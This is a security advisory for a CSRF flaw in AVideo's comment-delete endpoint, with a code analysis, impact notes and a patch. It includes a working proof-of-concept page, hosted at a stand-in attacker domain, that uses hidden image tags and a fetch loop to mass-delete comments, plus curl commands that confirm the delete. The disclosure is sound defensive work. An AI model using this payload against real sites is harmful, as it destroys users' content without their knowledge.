PT-2026-35104 · Packagist · Wwbn Avideo

Published 2026-04-14 · Updated 2026-04-14

OSV

CVSS v3.1

5.4

Medium

Base vector

AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Summary

objects/commentDelete.json.php is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call forbidIfIsUntrustedRequest(), does not verify a CSRF/global token, and does not check Origin/Referer. Because AVideo intentionally sets session.cookie samesite=None (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's PHPSESSID. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.

Details

Vulnerable endpoint: objects/commentDelete.json.php

// objects/commentDelete.json.php:1-35
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
  require once '../videos/configuration.php';
}
require once $global['systemRootPath'] . 'objects/comment.php';

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$ REQUEST['id']);   // <-- GET or POST
$obj->status = false;

if (empty($obj->id)) {
  $obj->id = intval(@$ REQUEST['comments id']);
}

if (empty($obj->id)) {
  $obj->msg =  ("ID can not be empty");
  die( json encode($obj));
}

$objC = new Comment("", 0, $obj->id);
$obj->videos id = $objC->getVideos id();
$obj->status = $objC->delete();      // <-- destructive action, no CSRF check
...

No forbidIfIsUntrustedRequest(), no verifyToken(), no token/nonce parameter, no Origin/Referer validation. The handler accepts $ REQUEST, so the request may be delivered as GET (e.g. via <img src>) or POST (e.g. via an auto-submitting form / fetch).

Authorization inside Comment::delete() does not stop CSRF

// objects/comment.php:147-159
public function delete() {
  if (!self::userCanAdminComment($this->id)) {
    return false;
  }
  ...
  $sql = "DELETE FROM comments WHERE id = ?";
  ...
  return sqlDAL::writeSql($sql, "i", [$this->id]);
}

// objects/comment.php:316-332
public static function userCanAdminComment($comments id) {
  if (!User::isLogged()) { return false; }
  if (Permissions::canAdminComment()) { return true; }  // site moderator
  $obj = new Comment("", 0, $comments id);
  if ($obj->users id == User::getId()) { return true; } // comment owner
  $video = new Video("", "", $obj->videos id);
  if ($video->getUsers id() == User::getId()) { return true; } // video owner
  return false;
}

This check is exactly what CSRF abuses: it asks "is the session user allowed to delete this comment?" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.

Site-wide cookie policy makes cross-site delivery reliable

// objects/include config.php:139-146
if ($isHTTPS) {
  // SameSite=None is intentional: AVideo supports cross-origin iframe embedding
  // where users must stay authenticated (e.g. video players on third-party sites).
  // Setting Lax would break that use case. All state-mutating endpoints that are
  // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).
  ini set('session.cookie samesite', 'None');
  ini set('session.cookie secure', '1');
}

The in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. commentDelete.json.php forgets to apply it. The canonical example that does get it right is objects/userUpdate.json.php:18:

// objects/userUpdate.json.php:13-18
if (!User::isLogged()) {
  $obj->msg =  ("Is not logged");
  die(json encode($obj));
}

forbidIfIsUntrustedRequest();  // <-- what commentDelete.json.php is missing

A repository-wide grep for forbidIfIsUntrustedRequest yields only objects/userUpdate.json.php and the function definition itself — no shared middleware exists, and no bootstrap in configuration.php / include config.php wraps endpoints with a CSRF check.

Attacker model / victim value

• Site moderators (any account with Permissions::canAdminComment()): full-site comment deletion oracle.
• Video creators (channel owners): deletion oracle for every comment on their own videos.
• Comment authors: only their own comments (self-DoS, low value).

The first two classes make this a real integrity/availability attack on community content.

PoC

Assume the target AVideo instance runs at https://victim.example.com and the victim is a logged-in moderator (or any video owner). The attacker hosts:

<!-- https://attacker.example/mass-delete.html -->
<!doctype html>
<html><body>
<h1>Cute kittens</h1>
<!-- GET variant (works because the endpoint uses $ REQUEST): -->
<img src="https://victim.example.com/objects/commentDelete.json.php?comments id=1" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments id=2" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments id=3" style="display:none">
<!-- ... up to N -->

<!-- POST variant (same result, reaches the POST code path the legit UI uses): -->
<script>
for (let i = 1; i <= 10000; i++) {
 fetch("https://victim.example.com/objects/commentDelete.json.php", {
  method: "POST",
  credentials: "include",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "comments id=" + i
 });
}
</script>
</body></html>

Manual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):

# 1. Log in as a moderator and capture PHPSESSID
curl -c cookies.txt -d 'user=moderator&pass=pass' 
 https://victim.example.com/objects/userLogin.json.php

# 2. Call the endpoint with nothing but the session cookie and a comments id.
#  No CSRF token, no Referer/Origin matching the site.
curl -b cookies.txt 
 -H 'Origin: https://attacker.example' 
 -H 'Referer: https://attacker.example/mass-delete.html' 
 'https://victim.example.com/objects/commentDelete.json.php?comments id=1'
# -> {"error":false,"msg":"","id":1,"status":true,"videos id":...}

The {"status":true,"error":false} response confirms the row was deleted; compare with objects/userUpdate.json.php under the same Origin/Referer, which returns the "Invalid Request" forbidden page from forbidIfIsUntrustedRequest().

Impact

• Cross-site mass deletion of comments.
• Against a site moderator (Permissions::canAdminComment()), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer.
• Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).
• The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed.
• No credential compromise is required; the attack does not leak data, but it destroys it.
• Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.

Recommended Fix

Apply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:

1. Require an authenticated session and reject untrusted-origin requests (same treatment as userUpdate.json.php).
2. Restrict the method to POST so drive-by <img> and navigational GET deliveries cannot reach the sink.

// objects/commentDelete.json.php
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
  require once '../videos/configuration.php';
}
require once $global['systemRootPath'] . 'objects/comment.php';

// --- added CSRF defense ---
if (!User::isLogged()) {
  die( json encode((object)['error' => true, 'msg' =>  ('Is not logged')]));
}
forbidIfIsUntrustedRequest();            // Referer/Origin gate
if ($ SERVER['REQUEST METHOD'] !== 'POST') {     // no $ REQUEST drive-by
  die( json encode((object)['error' => true, 'msg' => 'POST required']));
}
// --- end added ---

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$ POST['id']);
$obj->status = false;

if (empty($obj->id)) {
  $obj->id = intval(@$ POST['comments id']);
}
...

Stronger (recommended): also require a short-lived global token via verifyToken() as the in-source comment in objects/include config.php prescribes, and audit every other objects/*.json.php handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces forbidIfIsUntrustedRequest() for any json.php that mutates state.

Fix

CSRF

Weakness Enumeration

CWE-352

Related Identifiers

GHSA-8QM8-G55H-XMQR

Affected Products

Wwbn Avideo

References · 5

• https://osv.dev/vulnerability/GHSA-8qm8-g55h-xmqr · Vendor Advisory
• https://nvd.nist.gov/vuln/detail/CVE-2026-40929 · Security Note
• https://github.com/WWBN/AVideo · Note
• https://github.com/WWBN/AVideo/commit/184f36b1896f3364f864f17c1acca3dd8df3af27 · Note
• https://github.com/WWBN/AVideo/security/advisories/GHSA-8qm8-g55h-xmqr · Note